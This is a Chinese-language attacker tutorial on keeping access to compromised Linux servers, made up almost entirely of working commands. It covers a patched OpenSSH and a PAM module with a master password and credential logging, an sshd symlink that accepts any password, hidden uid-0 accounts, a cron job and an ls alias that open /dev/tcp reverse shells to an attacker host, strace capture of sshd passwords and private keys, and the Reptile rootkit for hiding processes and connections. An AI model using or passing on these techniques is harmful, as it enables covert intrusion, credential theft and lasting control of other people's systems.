Openssh后門
重新安裝自定義的openssh,達到記錄賬戶密碼,也可以采用萬能密碼連接的功能
1、登錄方式
2、登錄軟件
3、登錄機制
環境準備
yum?-y?install?openssl?openssl-devel?pam-devel?zlib?zlib-devel
yum?-y?install?gcc?gcc-c++?make
wget?http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gzwget?https://mirror.aarnet.edu.au/pub/0penBSD/0penSSH/portable/openssh-5.9p1.tar.gztar?-xzvf?openssh-5.9p1.tar.gztar?-xzvf?0x06-openssh-5.9p1.patch.tar.gzcp?openssh-5.9p1.patch/sshbd5.9p1.diff?openssh-5.9p1cd?openssh-5.9p1?&&?patch?<?sshbd5.9p1.diff
2.編輯密碼:
vim?includes.h
#define?ILOG??"/tmp/ilog"??#ILOG是別人用ssh登錄該主機記錄的日志記錄
#define?OLOG?"/tmp/olog"???#OLOG是該主機用ssh登錄其他主機記錄的日志目錄
#define?SECRETPW?"hello"???#設置萬能密碼為hello
通過萬能密碼登錄成功或者失敗都會在ilog和olog上做記錄
3.安裝編譯
./configure?--prefix=/usr--sysconfdir=/etc/ssh--with-pam?--with-kerberos5?&&?make?&&?make?install
service?sshd?restart?????//重啟服務
systemctl?status?sshd???//查看服務狀態
另一種方法就是發送數據到遠程服務器上去
PAM啟動替換
PAM是一種認證模塊,PAM可以作為Linux登錄驗證和各類基礎服務的人認證,簡單來說就是一種用于Linux系統上的用戶身份驗證機制,進行驗證時首先 確定是什么服務,然后加載對應的PAM配置文件,最后調用認證文件進行安全認證,簡易利用的PAM后門也是通過修改PAM源碼中的認證的邏輯來達到權限維持的
1.獲取目標系統所使用的PAM版本,下載對應的pam版本
2.解壓縮,修改pam_unix_auth.c文件,添加萬能密碼
3.編譯安裝PAM
4.編譯完后的文件在:modules\pam_unix/.libs/pam_unix.so,復制到/lib64/security中進行替換,即使用萬能密碼登錄,將用戶名密碼記錄到文件中
配置環境
1.關閉selinux?setenforce?0
2.查詢版本?rpm?-qa?|?grep?pam???//查詢到是什么版本就去網上找對應版本,比如這個是1.1.8
wget?http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz????//下載對應版本tar?-zxvf?inux-PAM-1.1.8?????????//解壓對應版本yum?install?gcc?flex?flex-devel?-y??????//安裝插件
編輯后門配置文件
編譯安裝
./configure?&&make
備份替換
備份原有的pam_unix.so,防止出現錯誤登錄不上
復制新PAM模塊到/lib64/security目錄下
cp?/usr/lib64/security/pam_unix.so?/tmp/pam_unix.so.bakcp
cd?Linux-PAM-1.1.8/modules/pam_unix/.libs
cp?pam_unix.so?/usr/lib64/security/pam_unix.so
登錄測試即可
軟鏈接方式
在sshd服務配置啟用PAM認證的前提下,PAM配置文件中控制標志為sufficient時,只要pam_rookok模塊檢測uid為0(root)即可成功認證登錄
SSH配置中開啟了PAM進行身份驗證 查看是否使用PAM進行身份驗證 查看是否使用了PAM進行身份驗證
cat?/etc/ssh/sshd_config?|?grep?UserPAM
ln?-sf?/usr/sbin/sshd?/tmp/su;?/tmp/su?-oPort???8888???//綁定到端口上了,端口不需要驗證賬號密碼,所以可以直接登錄
ssh?root@xx.xx.xx.xx?-p?8888????//任意密碼登錄進去即可
公私鑰文件
1.開啟支持
vim?/etc/ssh/sshd_config
RSAAuthentication?yes
PubkeyAuthentication?yes
AuthorizedKeysFile?.ssh/authorized_keys
本地生成密鑰
ssh-keygen?-t?rsa????//三次回車
id_rsa??????//私鑰
id_rsa.pub????//公鑰
復制公鑰到服務器
cd?/root/.ssh/
vim?authorized_keys(id_rsa.pub)????就是復制公鑰到這個authorized_keys目錄中
chmod?600?authorized_keys
另外一種 **在服務器中弄一個密鑰對文件,就是公鑰私鑰都在.ssh目錄下,然后本地就可以無密碼登錄執行了 **
后門賬號
添加root用戶 添加賬號test1,設置uid為0,密碼為123456
第一種:useradd?-p??`openssl?passwd?-1?-salt?'hello'?123456`?test1?-o?-u?0?-g?root?-G?root?-s?/bin/bash?-d?/home/test1
第二種:
echo?"hello:x:0:0::/:/bin/sh"?>>/etc/passwd??#增加超級管理員賬號passwd?hello???#修改賬號的密碼
一鍵植入權限維持: https://github.com/RuoJi6/HackerPermKeeper
計劃任務的權限維持
1.安裝nc,在攻擊機上
yum?update?-y
yum?install?-y?nc
一個是權限維持的目標,一個是我們自己的服務器
vim?/etc/.shell.sh
#!/bin/bash
bash?-i?>&/dev/tcp/ip(公網服務器ip)/5555?0>&1
chmod?+x?/etc/.shell.sh
添加定時任務
vim?/etc/crontab?????/var/spool/cron也是計劃任務配置文件
*/1?*?*?*?*?root?/etc/.shell.sh????//每一分鐘以root權限執行一次etc目錄下的.shell.sh腳本反彈shell
攻擊機開啟監聽,登錄連接
nc?-nlvp?5555
strace后門
1.記錄sshd明文
(strace?-f?-F?-p?`ps?aux?|?grep?"sshd?-D"|?grep?-v?grep|awk?{'print?$2'}`?-t?-e?trace=read,write?-s?32?2?>/tmp/.sshd.log?&)
grep?-E?'read\(6,".+\\0\\0\\0\\.+"'?/tmp/.sshd.log????//查看用戶連接的密碼
2.記錄sshd私鑰
(strace?-f?-F?-p?`ps?aux?|?grep?"sshd?-D"|?grep?-v?grep|awk?{'print?$2'}`?-t?-e?trace=read,write?-s?4096?2?>/tmp/.sshd.log?&)
grep?"PRIVATE_KEY"?/tmp/.sshd.log
然后可以寫一個腳本發送log到我的服務器,就可以一直知道服務器的密碼了
alias后門
定義:alias?ls='ls?-la'
刪除:unalias?ls
1.利用
alias?ls='alerts(){ls?$*?--color=auto;bash?-i?>&/dev/tcp/kali的ip/port?0>&1};alerts'????//用戶執行ls就會反彈shell了
工具維權
https://gitee.com/lmc9504/Reptile/repository/archive/master.zip
本地有下載過,可以去看一下 在安裝這個工具的時候可以選擇參數,然后可以設置隱藏的文件名,然后文件只要開頭是我設置的文件名,就會隱藏
1.使用
/reptile/reptile_cmd?hide?????//隱藏進程
/reptile/reptile_cmd?show???//查看進程
ps?-ef?|?grep?ping?|?grep?-v?grep????//查看ping的進程id
/reptile/reptile_cmd?hide?2792?????//隱藏2792這個進程
ps?-ef?|?grep?ping?|?grep?-v?grep
2.隱藏鏈接
/reptile/reptile_cmd??udp?hide????//隱藏udp連接
/reptile/reptile_cmd??tcp?show????//查看tcp連接
netstat?-antpu?|?grep?10.10.1.1??//查看連接
/reptile/reptile_cmd?tcp?10.10.1.1?445?hide???//隱藏這個網絡連接
3.隱藏文件
文件名中帶有reptile的都會被隱藏?,因為我在安裝的時候使用的就是reptile
自動化權限維持項目
https://github.com/RuoJi6/HackerPermKeeper
1.通過把check.py復制到目標主機可以檢測當前系統可以部署哪些權限維持方法
2.然后在工具本地,也就是項目目錄下運行main.py
python?main.py?-c?l?查看可以部署的權限維持方式
python?main.py?-m?4???//生成4對應的權限維持payload
可以通過這個工具來寫入計劃任務